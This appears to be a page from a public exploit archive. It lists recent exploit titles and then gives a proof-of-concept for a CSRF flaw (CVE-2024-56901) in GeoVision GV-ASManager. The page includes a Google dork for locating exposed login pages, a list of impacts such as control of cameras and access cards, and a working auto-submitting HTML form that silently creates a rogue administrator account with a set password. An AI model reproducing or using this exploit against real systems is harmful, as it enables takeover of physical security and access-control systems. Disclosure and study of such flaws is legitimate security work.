b165516b1b
26 changes to exploits/shellcodes/ghdb ABB Cylon Aspect 3.08.02 - PHP Session Fixation ABB Cylon FLXeon 9.3.4 - Cross-Site Request Forgery ABB Cylon FLXeon 9.3.4 - Default Credentials ABB Cylon FLXeon 9.3.4 - Remote Code Execution (Authenticated) ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE) ABB Cylon FLXeon 9.3.4 - System Logs Information Disclosure ABB Cylon FLXeon 9.3.4 - WebSocket Command Spawning Netman 204 - Remote command without authentication qBittorrent 5.0.1 - MITM RCE CMU CERT/CC VINCE 2.0.6 - Stored XSS CyberPanel 2.3.6 - Remote Code Execution (RCE) GeoVision GV-ASManager 6.1.0.0 - Broken Access Control GeoVision GV-ASManager 6.1.1.0 - CSRF MagnusSolution magnusbilling 7.3.0 - Command Injection Nagios Log Server 2024R1.3.1 - API Key Exposure WebFileSys 2.31.0 - Directory Path Traversal flatCore 1.5 - Cross Site Request Forgery (CSRF) GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection MiniCMS 1.1 - Cross Site Scripting (XSS) NEWS-BUZZ News Management System 1.0 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS)
58 lines
No EOL
2.9 KiB
Text
58 lines
No EOL
2.9 KiB
Text
# Exploit Title: GeoVision GV-ASManager 6.1.1.0 - CSRF
|
|
# Google Dork: inurl:"ASWeb/Login"
|
|
# Date: 02-FEB-2025
|
|
# Exploit Author: Giorgi Dograshvili [DRAGOWN]
|
|
# Vendor Homepage: https://www.geovision.com.tw/
|
|
# Software Link: https://www.geovision.com.tw/download/product/
|
|
# Version: 6.1.1.0 or less
|
|
# Tested on: Windows 10 | Kali Linux
|
|
# CVE : CVE-2024-56901
|
|
# PoC: https://github.com/DRAGOWN/CVE-2024-56901
|
|
|
|
A Cross-Site Request Forgery (CSRF) vulnerability in Geovision GV-ASManager web application with the version 6.1.1.0 or less that allows attackers to arbitrarily create Admin accounts via a crafted GET request method. This vulnerability is used in chain with CVE-2024-56903 for a successful CSRF attack.
|
|
|
|
Requirements
|
|
To perform successful attack an attacker requires:
|
|
- GeoVision ASManager version 6.1.1.0 or less
|
|
- Network access to the GV-ASManager web application (there are cases when there are public access)
|
|
- Administrator's interaction with an open session in the browser
|
|
|
|
Impact
|
|
The vulnerability can be leveraged to perform the following unauthorized actions:
|
|
A unauthorized account is able to:
|
|
- Modify POST method request with GET by leveraging CVE-2024-56903 vulnerability.
|
|
- Craft a malicious HTML page which makes changes in the application on behalf of the administrator account.
|
|
- Create a new administrator account on behalf of the legit administrator account.
|
|
After the successful attack, an attacker will be able to:
|
|
- Access the resources such as monitoring cameras, access cards, parking cars, employees and visitors, etc.
|
|
- Make changes in data and service network configurations such as employees, access card security information, IP addresses and configurations, etc.
|
|
- Disrupt and disconnect services such as monitoring cameras, access controls.
|
|
- Clone and duplicate access control data for further attack scenarios.
|
|
- Perform CVE-2024-56902 attack to retrieve cleartext password that can be reused in other digital assets of the organization.
|
|
|
|
|
|
The CSRF code:
|
|
|
|
<html>
|
|
<body>
|
|
<form action="https://[TARGET]/ASWeb/bin/ASWebCommon.srf"> # Set the target
|
|
<input type="hidden" name="action" value="UA_SetCreateAccount" />
|
|
<input type="hidden" name="id" value="Malicious" /> # Set Username
|
|
<input type="hidden" name="password" value="Youarecracked999!" /> # Set Password
|
|
<input type="hidden" name="email" value="Malicious@geovision.com.tw" /> # Set Email
|
|
<input type="hidden" name="level" value="2" /> # Set privilege 1-Normal user 2-Administrator
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
<script>
|
|
history.pushState('', '', '/');
|
|
document.forms[0].submit();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
After a successful attack, you will get access to:
|
|
- ASWeb - Access & Security Management
|
|
- TAWeb - Time and Attendance Management
|
|
- VMWeb - Visitor Management
|
|
- ASManager - Access & Security Management software in OS |